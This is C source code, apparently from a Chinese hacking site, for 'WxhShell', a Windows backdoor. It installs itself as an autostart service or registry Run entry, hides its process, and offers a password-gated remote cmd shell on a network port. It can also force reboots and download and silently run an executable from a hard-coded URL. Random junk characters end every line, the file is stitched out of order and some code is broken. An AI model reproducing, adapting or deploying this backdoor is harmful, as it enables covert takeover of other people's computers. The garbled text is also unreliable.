    if(Boot(SHUTDOWN)) $"_D"/*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ox}l<ha  
    else { ryPz?Aw(4  
    closesocket(wsh); _oLK" * [#  
    ExitThread(0); =)y=M!T2  
    } vWj|[| <rX  
    break; Z~]17{x0  
    } bfrBHW#  
  // 获取shell ]INbRytvc  
  case 's': { x$A5Ved  
    CmdShell(wsh); E%40u.0  
    closesocket(wsh); cFuvi^n\  
    ExitThread(0); { >4exyu6  
    break; `qr[0wM  
  } ea B-u  
  // 退出 {@C+Js5  
  case 'x': { ? 8'4~1g`}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m >'o&Hj  
    CloseIt(wsh); %Rg84tz  
    break; &z,w0FOre  
    } $TR[SMj  
  // 离开 B8C"i%8V)  
  case 'q': { o&X!75^G>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h05 ~ g  
    closesocket(wsh); am@\$Sa4  
    WSACleanup(); s V{[~U,|  
    exit(1); !d"J,.)  
    break; Z*kg= hs^  
        } .YLg^JfZ  
  } Jzfz y0$  
  } OyTBgS G?a  
z3>}(+  
  // 提示信息 kgYa0 e5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YSeXCJ:Iy  
} ~ZL}j+L/  
  } A;{8\e  
#&Biu }4D  
  return; K);:+s-  
}  "X}!j>-  
j!jZJD  
// shell模块句柄 xe%+Yb]  
int CmdShell(SOCKET sock) I`FH^=  
{ unP7("A0D  
STARTUPINFO si; N?R1;|Z]  
ZeroMemory(&si,sizeof(si)); 9 ?h)U|J?G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =Y /  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3hb1^HNT  
PROCESS_INFORMATION ProcessInfo; k>2 xm  
char cmdline[]="cmd"; g.&&=T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |J~;yO SD  
  return 0; Ro? 4tGn  
} Tb~(?nY5  
\@tt$ m%  
// 自身启动模式 I~#'76L[  
int StartFromService(void) \{abyi;  
{ lSQANC'  
typedef struct X0p=jBye~>  
{ $yhQ)@#1  
  DWORD ExitStatus; {3`9A7bG  
  DWORD PebBaseAddress; 5C2 *f 4|  
  DWORD AffinityMask; y{5ZC~Z<!  
  DWORD BasePriority; HR)joD*q;[  
  ULONG UniqueProcessId; F) < f8F  
  ULONG InheritedFromUniqueProcessId; oIX]9~  
}   PROCESS_BASIC_INFORMATION; Nluy]h &  
IO|">a6  
PROCNTQSIP NtQueryInformationProcess; yO$]9  
]\*g/QV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &LHQ) ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; t$R|lv5<  
=U3 !D;XP  
  HANDLE             hProcess;  t\u0\l>  
  PROCESS_BASIC_INFORMATION pbi; /]iv9e{uh(  
Hg]Q.SeJ(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R\1#)3e0  
  if(NULL == hInst ) return 0; *\:u}'[  
Nn4<:2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uiM*!ge  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]J:?@}\^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B%cjRwOT  
h7kGs^pP  
  if (!NtQueryInformationProcess) return 0; OB l-6W  
)^L+iht  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ep>S$a*|  
  if(!hProcess) return 0; ZrXvR`bsw  
,W7\AY07]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >*B/Wy  
WF-B=BRZ  
  CloseHandle(hProcess); )r5QOa/  
*A;~~ SQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uZ\ >  
if(hProcess==NULL) return 0; 7bCTR2e\@w  
d,6 Z  
HMODULE hMod; eHm!  
char procName[255]; HE7JQP!q  
unsigned long cbNeeded; K zKHC  
Tg)Fr)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2< w/GX.  
<s)+V6 \E  
  CloseHandle(hProcess); 8'@pX<  
Iy6 "2$%a  
if(strstr(procName,"services")) return 1; // 以服务启动 ]?/[& PP,  
HBV~`0O$  
  return 0; // 注册表启动 8s6[?=nM  
} #4Xe zj,g*  
"Z#97Jc+J  
// 主模块 w91{''sK  
int StartWxhshell(LPSTR lpCmdLine) (zCas}YAKI  
{ .~4%TsBaY  
  SOCKET wsl; wJ/k\  
BOOL val=TRUE; e(O"V3wq*6  
  int port=0; !!%vs 6  
  struct sockaddr_in door; J`Q#p%W  
JyvXNV,  
  if(wscfg.ws_autoins) Install(); l;b5v]~  
@;"HslU\Q  
port=atoi(lpCmdLine); O}*[@uv/  
xT#j-T  
if(port<=0) port=wscfg.ws_port; %j^[%&pT  
@G~T&6E!  
  WSADATA data; My&h{Qk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d_-{-@  
.^X IZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {UT^p IP\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :%{MMhb x  
  door.sin_family = AF_INET; O\q|b#q}/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p>96>7w  
  door.sin_port = htons(port); TGY^,H>J  
]Z&2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TWK(vEDM  
closesocket(wsl); ZUVk~X3  
return 1; L*6Tz'Qp  
} W+Z] Y  
H :}|UW  
  if(listen(wsl,2) == INVALID_SOCKET) { h?p&9[e`  
closesocket(wsl); @D[jUC$E  
return 1; t.v@\[{ -  
} S6*3."Sk  
  Wxhshell(wsl); W1w)SS  
  WSACleanup(); 24}r;=U  
gxycw4kz  
return 0; Sx5r u?$.  
wv # 1s3  
} ]/XNfb  
^ D/:[  
// 以NT服务方式启动 MW &iNioX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HWi0m/J  
{ SuMK=^>%  
DWORD   status = 0;  I@08F  
  DWORD   specificError = 0xfffffff; ]6v6&YV  
N5Eb.a9S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9?:SxI;v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wv|:-8V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7[[XNJP  
  serviceStatus.dwWin32ExitCode     = 0; EX7gTf#  
  serviceStatus.dwServiceSpecificExitCode = 0; -\:pbR  
  serviceStatus.dwCheckPoint       = 0; .Vj;[p8  
  serviceStatus.dwWaitHint       = 0; 3+;]dqZ  
v<,? %(g)7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CP)x;  
  if (hServiceStatusHandle==0) return; 4Cr |]o'  
3 (Kj|u  
status = GetLastError(); 1C6H\;  
  if (status!=NO_ERROR) $5z O=`  
{ #qi@I;;t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; m2AA:u_*j  
    serviceStatus.dwCheckPoint       = 0; 8p  }E  
    serviceStatus.dwWaitHint       = 0; i:0~%X  
    serviceStatus.dwWin32ExitCode     = status; bEfxu;Su 3  
    serviceStatus.dwServiceSpecificExitCode = specificError; UxzZr%>s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oIdMDp^$  
    return; $ &M"Ji  
  } A_6b 4T  
IKb 7#Ut  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lwIU|T<4  
  serviceStatus.dwCheckPoint       = 0; 6 :K~w<mMJ  
  serviceStatus.dwWaitHint       = 0; [~,~ e   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y&")7y/uE  
} J 6U3}SO=y  
rLGh>bw#`3  
// 处理NT服务事件,比如:启动、停止 |_{-hNiz0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @[D-2s  
{ &ok2Xw  
switch(fdwControl) C s?kZ %  
{ t5G@M&d4Eo  
case SERVICE_CONTROL_STOP: W! v8'T  
  serviceStatus.dwWin32ExitCode = 0;  }bz v&k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yeqZPz n  
  serviceStatus.dwCheckPoint   = 0; sc\4.Ux%Q  
  serviceStatus.dwWaitHint     = 0; 8q{ %n   
  { *aT3L#0(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N>giFj[dD  
  } y)X1!3~(  
  return; D|} y{~  
case SERVICE_CONTROL_PAUSE: RNE} )B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [H$rdh[+  
  break; %?1k}(qUeY  
case SERVICE_CONTROL_CONTINUE: )"s <hR ,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eL[BH8l  
  break; .YKqYN?y4  
case SERVICE_CONTROL_INTERROGATE: C vfm ,BL  
  break; dp\pkx7  
}; d#cw`h<c~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q"n|<!DN  
} w0(A7L:L  
xH#R_  
// 标准应用程序主函数 hdJW#,xq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ig3HPlC  
{ !%>p;H%0  
PB*m D7"  
// 获取操作系统版本 ~ \z7$9Q  
OsIsNt=GetOsVer(); 7'uuc]\5>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ue@ fry  
,r!_4|\  
  // 从命令行安装 $e1==@ R  
  if(strpbrk(lpCmdLine,"iI")) Install(); oY{L0B[  
*}DCxv  
  // 下载执行文件 &[ejxK"  
if(wscfg.ws_downexe) { 2'UWPZgE  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rqu_[M  
  WinExec(wscfg.ws_filenam,SW_HIDE); ('QfB<4H1  
} `2Rd=M]?  
U<QO@5  
if(!OsIsNt) { U0G(  
// 如果时win9x,隐藏进程并且设置为注册表启动 (+lw t  
HideProc(); qKag'0e  
StartWxhshell(lpCmdLine); >J,Rx!fq3  
} ")LcB' C  
else + pTc2z  
  if(StartFromService()) #e:cB'f  
  // 以服务方式启动 C&?Z\$ -/  
  StartServiceCtrlDispatcher(DispatchTable); IIcG+zwx  
else Gv?3T Am8  
  // 普通方式启动 ;5QdT{$H  
  StartWxhshell(lpCmdLine); Ry9kGdqO  
CmKbpN*  
return 0; |X@ZM  
} LPO:K a  
=0!PnBGYn  
{2QCdj46  
mDZ/Kp{  
=========================================== L,6v!9@  
eK[8$1  
`5,46_  
I~ Q2jg2  
?T]3I.3 2^  
?Co)7}N  
" FJxg9!%d  
[xW;5j<87  
#include <stdio.h> yh~*Kt]9Ya  
#include <string.h> 3 VNYDY`>  
#include <windows.h> G+&ug`0]5  
#include <winsock2.h> r$<-2lW  
#include <winsvc.h> KCEBJ{jM  
#include <urlmon.h> s?r:McF`  
6Q\0v  
#pragma comment (lib, "Ws2_32.lib") gD`|N@W$5  
#pragma comment (lib, "urlmon.lib")  {}>s0B  
i[,9hp  
#define MAX_USER   100 // 最大客户端连接数 }o^VEJc`O  
#define BUF_SOCK   200 // sock buffer KU:RS+,e;  
#define KEY_BUFF   255 // 输入 buffer mN+ w,  
Uj]Tdg  
#define REBOOT     0   // 重启 5qZebD2a  
#define SHUTDOWN   1   // 关机 zl8O @g  
lsJl+%&8  
#define DEF_PORT   5000 // 监听端口 V?pqKQL0  
YQ/  
#define REG_LEN     16   // 注册表键长度 R.nAD{>h*  
#define SVC_LEN     80   // NT服务名长度 REqQJ7a/  
NPc@;g]d"  
// 从dll定义API ePF)wl;m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #yPQt!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :De@_m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ktE~)G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %a\!|/;6  
k2]fUP  
// wxhshell配置信息 =zaf{0c  
struct WSCFG { rBY)rUDd4  
  int ws_port;         // 监听端口 MPaF  
  char ws_passstr[REG_LEN]; // 口令 `p qj~s  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~@Yiwp\"  
  char ws_regname[REG_LEN]; // 注册表键名 +r8:t5:/I  
  char ws_svcname[REG_LEN]; // 服务名 d'p]F~a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \.!+'2!m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 e3T&KyPm?+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5D9n>K4|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yE+Wb[H[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l 1C'<+2j!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *GUQz  
X8m@xFW}  
}; K9z 1'k QH  
6b!F7ky g  
// default Wxhshell configuration tNk.|}  
struct WSCFG wscfg={DEF_PORT, GhlbYa  
    "xuhuanlingzhe", 0Ncx':]5  
    1, |j2b=0Rpk  
    "Wxhshell", 'BUix!k0<  
    "Wxhshell", *yX5g,52-|  
            "WxhShell Service", VPC7Dh%.  
    "Wrsky Windows CmdShell Service", 0Wd2Z-I  
    "Please Input Your Password: ", C_5o&O8Bc  
  1, Ufw_GYxan  
  "http://www.wrsky.com/wxhshell.exe",  Z|t`}lK  
  "Wxhshell.exe" D^m`&asC  
    }; . {\lbI  
nr*nX  
// 消息定义模块 yzH(\ x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /w|!SZB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V= wWY*C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HGiO}|q :  
char *msg_ws_ext="\n\rExit.";  ,>C`|  
char *msg_ws_end="\n\rQuit."; ;*J_V/&?  
char *msg_ws_boot="\n\rReboot..."; VWLqJd>tr1  
char *msg_ws_poff="\n\rShutdown..."; .<fn+]  
char *msg_ws_down="\n\rSave to "; r]+/"~a  
?:$aX@r  
char *msg_ws_err="\n\rErr!"; '}$]V>/  
char *msg_ws_ok="\n\rOK!"; r(qw zUI  
,`Yx(4!rR  
char ExeFile[MAX_PATH]; o&U'zaj  
int nUser = 0; )G+D6s23  
HANDLE handles[MAX_USER]; s* ;rt  
int OsIsNt; Z=KHsMnB  
\86:f<)P  
SERVICE_STATUS       serviceStatus; 2h;#BJ))  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a62'\wF>D  
NsJ]Tp5!  
// 函数声明 $*\G Z$y>  
int Install(void); /s~(? =qYH  
int Uninstall(void); u-/5&Endb  
int DownloadFile(char *sURL, SOCKET wsh); H6.  
int Boot(int flag); L\cb Y6b  
void HideProc(void); !_P-?u  
int GetOsVer(void); Jc=~BT_G  
int Wxhshell(SOCKET wsl); eV5 e:9  
void TalkWithClient(void *cs); >LAhc7I  
int CmdShell(SOCKET sock); f,(@K%  
int StartFromService(void); 6,raRg6  
int StartWxhshell(LPSTR lpCmdLine); ;5dA  
{SRv=g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Efa3{ 7>{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ABIQi[A  
LlF|VR&P.  
// 数据结构和表定义 t&>eZ"  
SERVICE_TABLE_ENTRY DispatchTable[] = Z@ dS,M*  
{ hY(q@_s  
{wscfg.ws_svcname, NTServiceMain}, #qcF2&a%  
{NULL, NULL} c,,(s{1  
}; -s_=4U,  
zcE` .)y  
// 自我安装 p|`[8uY?  
int Install(void) K%@#a}kRb  
{ Ib}~Q@?2  
  char svExeFile[MAX_PATH]; IM(=j  
  HKEY key; D:56>%y@  
  strcpy(svExeFile,ExeFile); qK jUp"  
aYmN' POi  
// 如果是win9x系统,修改注册表设为自启动 )e?6 Ncy  
if(!OsIsNt) { 6j6P&[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @xkI?vK6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  m1#,B<6  
  RegCloseKey(key); u-k!h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lHc|: vG?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X-']D_f|,  
  RegCloseKey(key); +\GuZ5`  
  return 0; ']^_W0?=  
    } .t9*wz  
  } TjWMdoU$J  
} +01bjM6F_1  
else { knABlU  
5M= S7B3=  
// 如果是NT以上系统,安装为系统服务 &eIwlynm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f1wwx|b%.  
if (schSCManager!=0) O|e/(s?$  
{ W*Gp0pX  
  SC_HANDLE schService = CreateService bBp('oEJu  
  ( VD0U]~CWR  
  schSCManager, b|-7EI>l9  
  wscfg.ws_svcname, _s~F/G`iT  
  wscfg.ws_svcdisp, +*=?0\  
  SERVICE_ALL_ACCESS, dz"HO!9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {^N90,!  
  SERVICE_AUTO_START, r34 GO1d  
  SERVICE_ERROR_NORMAL, J]gtgt^   
  svExeFile, ZK?:w^Z  
  NULL, ,/Yo1@U  
  NULL, )%Lgo${[;  
  NULL, HI!bq%TZ4  
  NULL, dx)v`.%V  
  NULL 3F\UEpQ  
  ); ]D\p<4uepM  
  if (schService!=0) +]S!pyZ"   
  { tKLAA+Z  
  CloseServiceHandle(schService); be(p13&od  
  CloseServiceHandle(schSCManager); |>Wi5h{6X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y6ORI  
  strcat(svExeFile,wscfg.ws_svcname); gVpp9VB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +l@+e_>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oh%/\Xu  
  RegCloseKey(key); wg{Y6X yH  
  return 0; Mb\[` 4z  
    } e*/ya8p?  
  } G}0fk]%\:  
  CloseServiceHandle(schSCManager); mP+rPDGp  
} [+ N 5  
} idGhWV'  
tbq_ Rg7s  
return 1; 2\L}Ka|v  
} zE_t(B(Q  
gLQbA$gB  
// 自我卸载 P#x]3j]  
int Uninstall(void) yL%k5cO$N  
{ }c;h:CE#  
  HKEY key; bl-t>aO*.V  
("rIz8b  
if(!OsIsNt) { ~8^)[n+)x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { * ~4m!U_s  
  RegDeleteValue(key,wscfg.ws_regname); -"X} )N2  
  RegCloseKey(key); tX.{+yyU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3I.0uLjg^  
  RegDeleteValue(key,wscfg.ws_regname); d +Bz pS@p  
  RegCloseKey(key); d$*SVd:  
  return 0; }RY&f4&GV,  
  } -E>se8%"  
} !e(ZEV g  
} #Cz6c%yK  
else { t.tdY  
wA>bLPTw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aFrVP  
if (schSCManager!=0) xrky5[XoD  
{ 2z=GKV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  zFk@Y  
  if (schService!=0) :fE*fU@  
  { `<kV)d%xEF  
  if(DeleteService(schService)!=0) { $[-{Mm  
  CloseServiceHandle(schService); C%+>uzVIw  
  CloseServiceHandle(schSCManager); `A o;xOJ  
  return 0; 8L}N,6gC4_  
  } Zjh9jvsW  
  CloseServiceHandle(schService); /DQcM.3  
  } OJ\rT.{  
  CloseServiceHandle(schSCManager); >`'>,n |  
} w=H4#a?fc  
} SsF 5+=A  
$/uNV1 ]o  
return 1; q{t"=@lX01  
} `O/RNMaC  
m K@a7fF?  
// 从指定url下载文件 v__;oqN0  
int DownloadFile(char *sURL, SOCKET wsh) dj0`Q:VZ  
{ /@\3#2;  
  HRESULT hr; 3((53@s98  
char seps[]= "/"; Y)X58_En  
char *token; _*w}"\4_  
char *file; 4D\+_Ic3  
char myURL[MAX_PATH]; ,Uv8[ci%9  
char myFILE[MAX_PATH]; f{[,!VG  
\w=7L- 8  
strcpy(myURL,sURL); oNV(C'A  
  token=strtok(myURL,seps); @5# RGM)5^  
  while(token!=NULL) =7Y gES  
  { 4$+9k;m'  
    file=token; <AB.`["  
  token=strtok(NULL,seps); T6ZJSKM  
  } UW[{Y|oE  
<.<Q.z  
GetCurrentDirectory(MAX_PATH,myFILE); N#`aVW'{v2  
strcat(myFILE, "\\"); .iL_3:6f  
strcat(myFILE, file); 7l})`> k  
  send(wsh,myFILE,strlen(myFILE),0); 4IYC;J2L  
send(wsh,"...",3,0); K!9rH>`\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |V|)cPQ  
  if(hr==S_OK) tK|hC[  
return 0; cMEM}Qh T  
else vAE?^*F  
return 1; 5B<G;if,  
q[3b i!Q  
} =w.#j-jR  
g loo].z  
// 系统电源模块 G r;~P*  
int Boot(int flag) {&c%VVZb:Z  
{ ~;;_POm  
  HANDLE hToken; O:a$ U:  
  TOKEN_PRIVILEGES tkp; wzMWuA4vX  
Y e}y_W  
  if(OsIsNt) { n~d`PGs?f  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); */L;6_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NW9k.D%  
    tkp.PrivilegeCount = 1; 'g a1SbA]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IfZaK([  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GZc%*  
if(flag==REBOOT) { `Vwj|[0k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wz!]]EQ!o  
  return 0; 4[!&L:tR  
} x./jTebeO  
else { ma }Y\(38  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *3<m<<>U  
  return 0; ++13m*fA  
} #U&G$E`7  
  } t@/r1u|iq  
  else { 5Wi5`8m  
if(flag==REBOOT) { ]~(Ipz2NP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZH%[wQ~4  
  return 0; b@f. Kd7I  
} cuR|cUK  
else { Z<r&- !z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |"P5%k#6^>  
  return 0; P N_QK Z  
} Y#6@0Nn[G  
} ^D B0C  
;<q@>p[  
return 1; /:e|B;P`k  
} ?XGZp?6  
%p2C5z?  
// win9x进程隐藏模块  aG\m 3r  
void HideProc(void) 0{PK]qp7  
{ d<6L&8)<  
h3 p 3~xq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "eQ96^'J  
  if ( hKernel != NULL ) !*|CIxk(  
  { y::;e#.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ORx,n7-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); igz:ek`  
    FreeLibrary(hKernel); Sjr(e}*  
  } `bT{E.(T  
HXdPKS4q  
return; O|j5ulO}&"  
} 8XJ%Yuu  
q{7s.m >  
// 获取操作系统版本 xel&8 `  
int GetOsVer(void) 317Buk  
{ @-b}iP<T  
  OSVERSIONINFO winfo; H[,.nH_>+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >M:5yk@  
  GetVersionEx(&winfo); 4g1u9Sc0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JpD YB  
  return 1; 5Cy)#Z{  
  else VY _(0  
  return 0; |x<  
} \0WMb  
m; ABHq#  
// 客户端句柄模块 S|]~,l2]}  
int Wxhshell(SOCKET wsl) Gs?W7}<$  
{ 9$DVG/  
  SOCKET wsh; J*U(f{Q(  
  struct sockaddr_in client;  74Q?%X  
  DWORD myID; :{66WSa@Dd  
^1cqx]>E  
  while(nUser<MAX_USER) Y5MHd>m  
{ m'qMcCE  
  int nSize=sizeof(client); ^m1Rw|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .X2mEnh  
  if(wsh==INVALID_SOCKET) return 1; c>UITM=!I  
2CxdNj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?|hzAF"U  
if(handles[nUser]==0) e#'`I^8l  
  closesocket(wsh); KFV]2mFN  
else wqGZkFg1  
  nUser++; 7GP?;P  
  } <01B\t7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ufR |  
`P z !H  
  return 0; Y*}Sq|y  
} H1?1mH  
K5.C*|w  
// 关闭 socket iuHG9#n  
void CloseIt(SOCKET wsh) ;%jt;Xv9  
{ /BIPLDN6  
closesocket(wsh); If&p$pAH?  
nUser--; C3_*o>8  
ExitThread(0); {9l4 pT3  
} `\Npu  
T]vD ,I+  
// 客户端请求句柄 '[-/X a['  
void TalkWithClient(void *cs) _>`0!mG  
{ _?r+SRFn  
2d>PN^x  
  SOCKET wsh=(SOCKET)cs; ifgaBXT55  
  char pwd[SVC_LEN]; ~b7Nzzfo  
  char cmd[KEY_BUFF]; s=q+3NTv  
char chr[1]; -xcz+pHQ  
int i,j; e+6~JbMV  
8D n]`}ok  
  while (nUser < MAX_USER) { r=w%"3vb^  
7]v-2 *  
if(wscfg.ws_passstr) { q(r2\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8EE7mEmLH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Q]MT  
  //ZeroMemory(pwd,KEY_BUFF); Rp<Xu6r  
      i=0; rb_G0/R  
  while(i<SVC_LEN) { #YNb&K n  
-Qgfo|po  
  // 设置超时 hW},%  
  fd_set FdRead; 7Ow7|  
  struct timeval TimeOut; e!-'O0-Kw  
  FD_ZERO(&FdRead); HIU@m<  
  FD_SET(wsh,&FdRead); |-|BM'Y  
  TimeOut.tv_sec=8; k Z3tz?Du  
  TimeOut.tv_usec=0; ;4_n:XUgo;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~J2Q0Jv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9qW,I|G  
X%-4x   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wd]Yjr#%Ii  
  pwd=chr[0]; sooh yK8  
  if(chr[0]==0xd || chr[0]==0xa) { @fK`l@K  
  pwd=0; v8X&H  
  break; ?)X@4Jem  
  } * =Fcu@  
  i++; } F.1j!71L  
    } vP?yl "U  
M`<D Z<:<  
  // 如果是非法用户,关闭 socket OiOL 4}5(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %x *f{(8h  
} @3@%9E  
;F+%{LgKl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .Sn1YAhE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f65Sr"qB3  
y,x~S\>+  
while(1) { ) )F.|w  
O>Sbb2q?"  
  ZeroMemory(cmd,KEY_BUFF); QCo^#-   
gvJJ.IX]+  
      // 自动支持客户端 telnet标准   6:!fyia  
  j=0; {k*_'0   
  while(j<KEY_BUFF) { qa~[fORO[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S'O0'5U@  
  cmd[j]=chr[0]; JU@$(  
  if(chr[0]==0xa || chr[0]==0xd) { + ND9###  
  cmd[j]=0; .3&m:P8zV  
  break; ;H=6u  
  } R3PhKdQ"  
  j++; +{I\r|  
    } 'KL(A-}!  
\\qg2yI  
  // 下载文件 ?*@h]4+k'  
  if(strstr(cmd,"http://")) { dF,FH-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $!f$R`R^Q\  
  if(DownloadFile(cmd,wsh)) h$&XQq0T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }rE|\p>  
  else GEA;9TU|V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M($},xAvDU  
  } JW\"S  
  else { _:L*{=N  
K)?^b|D  
